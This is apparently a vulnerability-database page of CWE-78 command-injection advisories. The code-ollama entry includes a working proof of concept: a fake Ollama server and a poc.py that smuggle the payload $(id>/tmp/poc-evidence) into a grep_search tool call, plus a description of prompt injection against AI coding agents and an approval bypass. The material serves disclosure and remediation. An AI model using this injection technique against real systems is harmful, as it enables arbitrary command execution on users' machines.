Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

9592 vulnerabilities reference this CWE, most recent first.

GHSA-454H-8W2M-M624

Vulnerability from github – Published: 2023-08-09 18:30 – Updated: 2024-04-04 06:44

Details

A command injection vulnerability exists in the ARP ping device tool feature of the ScienceLogic SL1 that takes unsanitized user controlled input and passes it directly to a shell command. This allows for the injection of arbitrary commands to the underlying operating system.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-48580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-09T18:15:10Z",
    "severity": "HIGH"
  },
  "details": "A command injection vulnerability exists in the ARP ping device tool feature of the ScienceLogic SL1 that takes unsanitized user controlled input and passes it directly to a shell command. This allows for\u00a0the injection of arbitrary commands to the underlying operating system.",
  "id": "GHSA-454h-8w2m-m624",
  "modified": "2024-04-04T06:44:35Z",
  "published": "2023-08-09T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48580"
    },
    {
      "type": "WEB",
      "url": "https://www.securifera.com/advisories/cve-2022-48580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4564-PVR2-QQ4H

Vulnerability from github – Published: 2026-02-18 17:39 – Updated: 2026-02-23 22:28

Summary

OpenClaw: Prevent shell injection in macOS keychain credential write

Details

Summary

On macOS, the Claude CLI keychain credential refresh path constructed a shell command to write the updated JSON blob into Keychain via security add-generic-password -w .... Because OAuth tokens are user-controlled data, this created an OS command injection risk.

The fix avoids invoking a shell by using execFileSync("security", argv) and passing the updated keychain payload as a literal argument.

Affected Packages / Versions

Package: openclaw (npm)
Platform: macOS only
Affected versions: <= 2026.2.13

Fix

Patched version: >= 2026.2.14 (next release)
Fix PR: #15924
Fix commits (merged to main):
9dce3d8bf83f13c067bc3c32291643d2f1f10a06
66d7178f2d6f9d60abad35797f97f3e61389b70c
b908388245764fb3586859f44d1dff5372b19caf

Thanks @aether-ai-agent for reporting.

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T17:39:00Z",
    "nvd_published_at": "2026-02-21T10:16:13Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nOn macOS, the Claude CLI keychain credential refresh path constructed a shell command to write the updated JSON blob into Keychain via `security add-generic-password -w ...`. Because OAuth tokens are user-controlled data, this created an OS command injection risk.\n\nThe fix avoids invoking a shell by using `execFileSync(\"security\", argv)` and passing the updated keychain payload as a literal argument.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Platform: macOS only\n- Affected versions: `\u003c= 2026.2.13`\n\n## Fix\n- Patched version: `\u003e= 2026.2.14` (next release)\n- Fix PR: #15924\n- Fix commits (merged to `main`):\n  - `9dce3d8bf83f13c067bc3c32291643d2f1f10a06`\n  - `66d7178f2d6f9d60abad35797f97f3e61389b70c`\n  - `b908388245764fb3586859f44d1dff5372b19caf`\n\nThanks @aether-ai-agent for reporting.",
  "id": "GHSA-4564-pvr2-qq4h",
  "modified": "2026-02-23T22:28:27Z",
  "published": "2026-02-18T17:39:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4564-pvr2-qq4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/15924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/66d7178f2d6f9d60abad35797f97f3e61389b70c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9dce3d8bf83f13c067bc3c32291643d2f1f10a06"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/b908388245764fb3586859f44d1dff5372b19caf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw: Prevent shell injection in macOS keychain credential write"
}

GHSA-456V-XQ2P-R4CJ

Vulnerability from github – Published: 2026-09-28 13:59 – Updated: 2026-09-28 13:59

Summary

code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

Details

`grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)

Summary

The grep_search tool in code-ollama constructs a shell command string by interpolating attacker-controlled pattern and path arguments, then executes it via child_process.exec(). The sanitization only escapes backslashes and double-quote characters, leaving $() command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running code-ollama. Because grep_search is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).

Details

Vulnerable sink — src/utils/tools/filesystem/grep.ts:58-66

const escapedPattern = searchPattern
  .replace(/\\/g, '\\\\')
  .replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');

const { stdout } = await execShell(
  `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);

Only \ and " are neutralized. The shell metacharacter sequence $() (and backtick-style ` substitution) is passed through unmodified. The resulting string is passed to execShell() (src/utils/tools/shell.ts:46-49), which calls exec — the promisified child_process.exec defined at src/utils/node.ts:1-4 — causing /bin/sh to interpret the entire string and expand any embedded command substitution.

Full data-flow path (source → sink)

Step	Location	Action
1	`src/utils/ollama.ts:102-103`	External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI
2	`src/cli.ts:147-148`	Each `toolCall` is forwarded to `tools.executeToolCall()`
3	`src/utils/tools/dispatcher.ts:300-306`	Dispatcher normalizes the call and routes it
4	`src/utils/tools/dispatcher.ts:392-393`	`stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()`
5	`src/utils/tools/filesystem/grep.ts:58-63`	Incomplete sanitization: only `\` and `"` are escaped (root cause)
6	`src/utils/tools/filesystem/grep.ts:65`	Shell command string assembled and handed to `execShell()` (sink)
7	`src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4`	`exec()` (`child_process.exec`) executes the string via `/bin/sh`

Approval-bypass amplifier

grep_search is listed in READ_TOOL_NAMES at src/constants/tool.ts:14-20 and is exposed in Plan mode at src/utils/tools/definitions.ts:225-228. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial code-ollama run invocation.

PoC

Prerequisites

code-ollama v0.36.0 installed (e.g., npm install --global code-ollama@0.36.0 or built from source via the Dockerfile below).
ripgrep (rg) available in PATH (the vulnerable code path requires it).
Python 3 available to run the fake Ollama server.

Step 1 — Build the self-contained Docker image (recommended)

# From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama

The container automatically runs poc.py as CMD. Successful exploitation prints:

[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents    : 'uid=0(root) gid=0(root) groups=0(root)'

Step 2 — Manual reproduction (bare-metal)

# Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, sys, threading

_req = 0
_lock = threading.Lock()

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b"Ollama is running")
    def do_POST(self):
        global _req
        l = int(self.headers.get("Content-Length", 0))
        self.rfile.read(l)
        with _lock:
            _req += 1; n = _req
        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()
        if n == 1:
            chunk = {"model":"fake","message":{"role":"assistant","content":"",
                "tool_calls":[{"function":{"name":"grep_search",
                    "arguments":{"pattern":"$(id>/tmp/poc-evidence)","path":"/tmp"}}}]},
                "done":True,"done_reason":"stop"}
        else:
            chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
                "done":True,"done_reason":"stop"}
        self.wfile.write((json.dumps(chunk)+"\n").encode())
        self.wfile.flush()

HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &

# Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence   # expected: uid=... gid=... groups=...

Explanation of the payload

The pattern argument value $(id>/tmp/poc-evidence) survives the sanitization in grep.ts:58-63 because only \ and " are stripped. When the resulting shell string

rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"

is executed by /bin/sh via child_process.exec, the shell expands $() first, running id and writing its output to /tmp/poc-evidence before rg ever starts.

Remediation

Replace the shell-string construction with an argument-vector call to avoid the shell entirely:

-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };

-      const escapedPattern = searchPattern
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-      const escapedDirPath = dirPath
-        .replace(/\\/g, '\\\\')
-        .replace(/"/g, '\\"');
-
-      const { stdout } = await execShell(
-        `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
-      );
+      const { stdout } = await execFile(
+        'rg',
+        ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+        RG_EXEC_OPTIONS,
+      );

Impact

This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted grep_search tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted OLLAMA_HOST connection — can execute arbitrary commands as the OS user running code-ollama.

Impact scope:

Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.

The approval-bypass via READ_TOOL_NAMES / Plan-mode auto-execution means the attack completes silently with no user interaction after code-ollama run is invoked. Developers, CI pipelines, and IDE-integrated users who run code-ollama in trusted directories are all at risk.

Reproduction artifacts

`Dockerfile`

# VULN-001: grep_search Command Injection — CWE-78
# Target: ai-action/code-ollama v0.36.0
# Proof-of-concept Docker image: builds the repo and runs poc.py
#
# Build (from project root):
#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
# Run:
#   docker run --rm vuln001-code-ollama

FROM node:24-slim

# ripgrep  — required by grepSearch() in the vulnerable code path
# python3  — runs poc.py orchestration script
RUN apt-get update && apt-get install -y \
    ripgrep \
    python3 \
    --no-install-recommends \
 && rm -rf /var/lib/apt/lists/*

# ── Install Node dependencies ──────────────────────────────────────────────────
WORKDIR /app
COPY repo/package.json repo/package-lock.json ./
# Install ALL deps (devDeps needed for vite build / tsx fallback)
RUN npm ci

# ── Copy source and build ──────────────────────────────────────────────────────
COPY repo/ ./
# Produces /app/dist/cli.js — the bundled CLI entrypoint
RUN npm run build

# ── Runtime setup ─────────────────────────────────────────────────────────────
# code-ollama writes config to ~/.code-ollama; pre-create to avoid mkdir race
RUN mkdir -p /root/.code-ollama /workspace

COPY vuln-001/poc.py /poc.py

WORKDIR /workspace
CMD ["python3", "/poc.py"]

`poc.py`

#!/usr/bin/env python3
"""
Proof of Concept: VULN-001 — grep_search Command Injection (CWE-78)
Repository : ai-action/code-ollama v0.36.0
Sink       : src/utils/tools/filesystem/grep.ts:65
             execShell(`rg ... "${escapedPattern}" "${escapedDirPath}"`)
Attack path: malicious Ollama server -> tool_call.arguments.pattern
             -> grepSearch() -> execShell() -> child_process.exec()

Only `\\` and `"` are escaped; `$()` command substitution is NOT neutralized.
This PoC demonstrates that a rogue Ollama server can inject arbitrary shell
commands that execute as the local user running code-ollama.

Usage (inside Docker, called automatically by CMD):
    python3 /poc.py

Expected outcome:
    /tmp/poc-evidence is created with content matching INJECTED_CMD output.
"""

import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
FAKE_SERVER_HOST = "127.0.0.1"
FAKE_SERVER_PORT = 11434

# The marker file written by the injected command — used as exploitation proof
MARKER_FILE = "/tmp/poc-evidence"

# Payload: $() command substitution that is NOT escaped by code-ollama's
# sanitization (only \\ and " are escaped, leaving $() intact).
# Writes output of `id` to MARKER_FILE to capture the running UID/GID.
INJECTED_CMD = f"$(id>{MARKER_FILE})"

# Path argument for grep_search (must be a valid non-empty string)
TARGET_PATH = "/workspace"

# Tracks how many POST requests the fake server has received
_request_count = 0
_request_lock = threading.Lock()

# ---------------------------------------------------------------------------
# Fake Ollama HTTP server
# ---------------------------------------------------------------------------

class FakeOllamaHandler(BaseHTTPRequestHandler):
    """Minimal Ollama-compatible HTTP server for the PoC.

    First POST /api/chat  -> returns a grep_search tool_call carrying the
                             injected pattern.
    Subsequent POSTs      -> return a plain done response to terminate the
                             code-ollama tool-loop.
    """

    def log_message(self, fmt, *args):  # suppress default request logging
        pass

    # ------------------------------------------------------------------
    # GET — health-check (code-ollama / ollama-npm may call GET /)
    # ------------------------------------------------------------------
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"Ollama is running")

    # ------------------------------------------------------------------
    # POST — chat streaming endpoint
    # ------------------------------------------------------------------
    def do_POST(self):
        global _request_count

        # Consume request body to avoid broken-pipe on the client side
        content_length = int(self.headers.get("Content-Length", 0))
        _ = self.rfile.read(content_length)

        with _request_lock:
            _request_count += 1
            current_request = _request_count

        self.send_response(200)
        self.send_header("Content-Type", "application/x-ndjson")
        self.end_headers()

        if current_request == 1:
            # ---------------------------------------------------------------
            # First request: inject malicious grep_search tool call
            # The `arguments` object is passed verbatim through the ollama-npm
            # library and reaches grepSearch(pattern, path) in grep.ts.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  f"sending malicious grep_search tool_call")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "",
                    "tool_calls": [{
                        "function": {
                            "name": "grep_search",
                            # pattern and path are the two required string args
                            # validated by validateArgs() in dispatcher.ts
                            "arguments": {
                                "pattern": INJECTED_CMD,
                                "path": TARGET_PATH,
                            },
                        }
                    }],
                },
                "done": True,
                "done_reason": "stop",
            }
        else:
            # ---------------------------------------------------------------
            # Subsequent requests: plain text to terminate the tool loop.
            # No tool_calls -> nextMessages stays null -> processRunStream
            # returns after checking hasUncalledToolIntent (no match on
            # "Done.") so the CLI exits cleanly.
            # ---------------------------------------------------------------
            print(f"[fake-ollama] Request #{current_request}: "
                  "sending done/stop response")
            sys.stdout.flush()

            chunk = {
                "model": "fake",
                "message": {
                    "role": "assistant",
                    "content": "Done.",
                },
                "done": True,
                "done_reason": "stop",
            }

        self.wfile.write((json.dumps(chunk) + "\n").encode())
        self.wfile.flush()


def start_fake_server():
    """Start the fake Ollama server in a daemon thread."""
    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


# ---------------------------------------------------------------------------
# Main orchestration
# ---------------------------------------------------------------------------

def main():
    print("=" * 65)
    print("VULN-001: grep_search Command Injection PoC (CWE-78)")
    print("Target : ai-action/code-ollama v0.36.0")
    print("Sink   : src/utils/tools/filesystem/grep.ts:65")
    print("=" * 65)
    print()
    print(f"[*] Payload  : {INJECTED_CMD}")
    print(f"[*] Marker   : {MARKER_FILE}")
    print()

    # Clean up any leftover marker from a previous run
    if os.path.exists(MARKER_FILE):
        os.unlink(MARKER_FILE)
        print(f"[*] Removed stale marker file: {MARKER_FILE}")

    # -----------------------------------------------------------------------
    # 1. Start the fake Ollama server
    # -----------------------------------------------------------------------
    print(f"[*] Starting fake Ollama server on "
          f"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...")
    start_fake_server()
    time.sleep(0.4)   # give the server socket time to bind

    # -----------------------------------------------------------------------
    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server
    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)
    # -----------------------------------------------------------------------
    env = os.environ.copy()
    env["OLLAMA_HOST"] = f"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}"

    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile
    cmd = [
        "node", "/app/dist/cli.js",
        "run", "--trust", "fake", "search the code",
    ]

    print(f"[*] Executing: {' '.join(cmd)}")
    print(f"[*] OLLAMA_HOST={env['OLLAMA_HOST']}")
    print()

    try:
        result = subprocess.run(
            cmd,
            env=env,
            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed
            capture_output=True,
            text=True,
            timeout=60,
            cwd="/workspace",
        )
    except subprocess.TimeoutExpired:
        print("[-] code-ollama subprocess timed out after 60 s")
        sys.exit(1)

    print("--- code-ollama stdout ---")
    print(result.stdout[:3000] if result.stdout else "(empty)")
    print("--- code-ollama stderr ---")
    print(result.stderr[:3000] if result.stderr else "(empty)")
    print(f"--- exit code: {result.returncode} ---")
    print()

    # -----------------------------------------------------------------------
    # 3. Verify exploitation: check for the marker file
    # -----------------------------------------------------------------------
    if os.path.exists(MARKER_FILE):
        evidence = open(MARKER_FILE).read().strip()
        print("[+] ============================================================")
        print("[+] EXPLOITATION CONFIRMED")
        print("[+] ============================================================")
        print(f"[+] Marker file : {MARKER_FILE}")
        print(f"[+] Contents    : {evidence!r}")
        print("[+] Explanation : The $() command substitution inside the")
        print("[+]   grep_search pattern was NOT escaped by code-ollama's")
        print("[+]   sanitizer (grep.ts:58-63 only strips \\ and \").")
        print("[+]   execShell() passed the raw string to child_process.exec()")
        print("[+]   which ran it through /bin/sh, executing the injected")
        print("[+]   command as the current user.")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] ============================================================")
        print("[-] EXPLOITATION FAILED")
        print(f"[-] Expected marker file NOT found: {MARKER_FILE}")
        print("[-] Possible causes:")
        print("[-]   - ollama-npm parsed tool_call.arguments differently")
        print("[-]   - The pattern was sanitized before reaching execShell()")
        print("[-]   - ripgrep is not installed so the fallback path was taken")
        print("[-]   - The shell used does not support $() substitution")
        print("[-] ============================================================")
        sys.exit(1)


if __name__ == "__main__":
    main()

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.36.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "code-ollama"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.36.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T13:59:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)\n\n### Summary\n\nThe `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is **High (CVSS 7.8)**.\n\n### Details\n\n**Vulnerable sink \u2014 `src/utils/tools/filesystem/grep.ts:58-66`**\n\n```ts\nconst escapedPattern = searchPattern\n  .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n  .replace(/\"/g, \u0027\\\\\"\u0027);\nconst escapedDirPath = dirPath.replace(/\\\\/g, \u0027\\\\\\\\\u0027).replace(/\"/g, \u0027\\\\\"\u0027);\n\nconst { stdout } = await execShell(\n  `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n);\n```\n\nOnly `\\` and `\"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` \u2014 the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` \u2014 causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.\n\n**Full data-flow path (source \u2192 sink)**\n\n| Step | Location | Action |\n|------|----------|--------|\n| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |\n| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |\n| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |\n| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |\n| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\\` and `\"` are escaped (**root cause**) |\n| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (**sink**) |\n| 7 | `src/utils/tools/shell.ts:46-49` \u2192 `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |\n\n**Approval-bypass amplifier**\n\n`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.\n\n### PoC\n\n**Prerequisites**\n\n- `code-ollama` v0.36.0 installed (e.g., `npm install --global code-ollama@0.36.0` or built from source via the Dockerfile below).\n- `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).\n- Python 3 available to run the fake Ollama server.\n\n**Step 1 \u2014 Build the self-contained Docker image (recommended)**\n\n```sh\n# From the report root directory (where vuln-001/ lives)\ndocker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\ndocker run --rm vuln001-code-ollama\n```\n\nThe container automatically runs `poc.py` as `CMD`. Successful exploitation prints:\n\n```\n[+] EXPLOITATION CONFIRMED\n[+] Marker file : /tmp/poc-evidence\n[+] Contents    : \u0027uid=0(root) gid=0(root) groups=0(root)\u0027\n```\n\n**Step 2 \u2014 Manual reproduction (bare-metal)**\n\n```sh\n# Terminal 1 \u2014 start the malicious Ollama server\ncat \u003e /tmp/fake-ollama.py \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json, sys, threading\n\n_req = 0\n_lock = threading.Lock()\n\nclass H(BaseHTTPRequestHandler):\n    def log_message(self, *a): pass\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b\"Ollama is running\")\n    def do_POST(self):\n        global _req\n        l = int(self.headers.get(\"Content-Length\", 0))\n        self.rfile.read(l)\n        with _lock:\n            _req += 1; n = _req\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/x-ndjson\")\n        self.end_headers()\n        if n == 1:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"\",\n                \"tool_calls\":[{\"function\":{\"name\":\"grep_search\",\n                    \"arguments\":{\"pattern\":\"$(id\u003e/tmp/poc-evidence)\",\"path\":\"/tmp\"}}}]},\n                \"done\":True,\"done_reason\":\"stop\"}\n        else:\n            chunk = {\"model\":\"fake\",\"message\":{\"role\":\"assistant\",\"content\":\"Done.\"},\n                \"done\":True,\"done_reason\":\"stop\"}\n        self.wfile.write((json.dumps(chunk)+\"\\n\").encode())\n        self.wfile.flush()\n\nHTTPServer((\"127.0.0.1\", 11434), H).serve_forever()\nPY\npython3 /tmp/fake-ollama.py \u0026\n\n# Terminal 2 \u2014 run code-ollama against the fake server\nrm -f /tmp/poc-evidence\nOLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake \"search the code\"\ncat /tmp/poc-evidence   # expected: uid=... gid=... groups=...\n```\n\n**Explanation of the payload**\n\nThe `pattern` argument value `$(id\u003e/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\\` and `\"` are stripped. When the resulting shell string\n\n```\nrg --line-number --no-heading --smart-case \"$(id\u003e/tmp/poc-evidence)\" \"/tmp\"\n```\n\nis executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.\n\n**Remediation**\n\nReplace the shell-string construction with an argument-vector call to avoid the shell entirely:\n\n```diff\n-import { execShell } from \u0027../shell\u0027;\n+import { execFile } from \u0027../../node\u0027;\n+\n+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };\n\n-      const escapedPattern = searchPattern\n-        .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n-        .replace(/\"/g, \u0027\\\\\"\u0027);\n-      const escapedDirPath = dirPath\n-        .replace(/\\\\/g, \u0027\\\\\\\\\u0027)\n-        .replace(/\"/g, \u0027\\\\\"\u0027);\n-\n-      const { stdout } = await execShell(\n-        `rg --line-number --no-heading --smart-case \"${escapedPattern}\" \"${escapedDirPath}\"`,\n-      );\n+      const { stdout } = await execFile(\n+        \u0027rg\u0027,\n+        [\u0027--line-number\u0027, \u0027--no-heading\u0027, \u0027--smart-case\u0027, \u0027--\u0027, searchPattern, dirPath],\n+        RG_EXEC_OPTIONS,\n+      );\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any party that controls the Ollama server response \u2014 including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection \u2014 can execute arbitrary commands as the OS user running `code-ollama`.\n\nImpact scope:\n\n- **Confidentiality (High)** \u2014 attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.\n- **Integrity (High)** \u2014 attacker can modify or delete files, plant backdoors, alter repository history.\n- **Availability (High)** \u2014 attacker can terminate processes, corrupt data, or consume system resources.\n\nThe approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: grep_search Command Injection \u2014 CWE-78\n# Target: ai-action/code-ollama v0.36.0\n# Proof-of-concept Docker image: builds the repo and runs poc.py\n#\n# Build (from project root):\n#   docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .\n# Run:\n#   docker run --rm vuln001-code-ollama\n\nFROM node:24-slim\n\n# ripgrep  \u2014 required by grepSearch() in the vulnerable code path\n# python3  \u2014 runs poc.py orchestration script\nRUN apt-get update \u0026\u0026 apt-get install -y \\\n    ripgrep \\\n    python3 \\\n    --no-install-recommends \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500 Install Node dependencies \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/package.json repo/package-lock.json ./\n# Install ALL deps (devDeps needed for vite build / tsx fallback)\nRUN npm ci\n\n# \u2500\u2500 Copy source and build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY repo/ ./\n# Produces /app/dist/cli.js \u2014 the bundled CLI entrypoint\nRUN npm run build\n\n# \u2500\u2500 Runtime setup 